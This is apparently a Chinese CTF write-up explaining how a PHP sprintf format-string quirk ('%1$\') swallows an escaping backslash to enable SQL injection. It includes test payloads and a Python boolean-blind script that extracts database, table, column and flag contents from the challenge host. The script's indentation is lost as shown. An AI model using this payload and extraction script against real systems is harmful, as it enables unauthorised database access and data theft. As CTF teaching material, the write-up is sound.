今天學到了新的sqli知識
依據題目環境猜測為sql注入,嘗試了各種繞過都無解。
跑一下fuzz字典,發現只有 % 是不報錯的,參考了大佬的wp才解出來。
思路:
在php的格式化字串中,%後的一個字元(除了’%’)會被當作字元型別,而被吃掉,單引號’,斜槓\也不例外。
因為題目存在過濾,所以注入單引號被跳脫成’ \’ ‘,我們注入的%後就變成了’ %\’ ',格式化的時候,引數少於%的個數則匹配為空,並且需要預留位置,預留位置為數位和 ’ $\ ’ 組成,所以%將\給吃掉了,單引號就逃逸了。
嘗試一下
admin%1$\' or 1=1#
admin%1$\' or 1=2#
上面兩種注入頁面回顯不一樣,則注入成功,接下來就是布林盲注的過程了
指令碼如下
import time
import requests
import sys
import string
import logging
# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target='http://1fc3cc5e51a5431cb0de0e14491e0198e1238fc105a449d2.changame.ichunqiu.com/'
#庫名
#dataStr="database()"
#表名
#dataStr="(select group_concat(table_name) from information_schema.tables where table_schema=database())"
#列名
#dataStr="(select group_concat(column_name) from information_schema.columns where table_name='flag')"
#資料
dataStr="(select flag from flag limit 0,1)"
def binaryTest(i,cu,comparer):
s=requests.post(target,data={"username":r"admin%1$\' or (ascii(substr({},{},1)){comparer}{})#".format(dataStr,i,cu,comparer=comparer),"password":"123"})
if 'password error!' in s.text:
return True
else:
return False
def searchFriends_sqli(i):
l = 0
r = 255
while (l <= r):
cu = (l + r) // 2
if (binaryTest(i, cu, "<")):
r = cu - 1
elif (binaryTest(i, cu, ">")):
l = cu + 1
elif (cu == 0):
return None
else:
return chr(cu)
def main():
print("start")
finres=""
i=1
while (True):
extracted_char = searchFriends_sqli(i)
if (extracted_char == None):
break
finres += extracted_char
i += 1
print("(+) 當前結果:"+finres)
print("(+) 執行完成,結果為:", finres)
if __name__=="__main__":
main()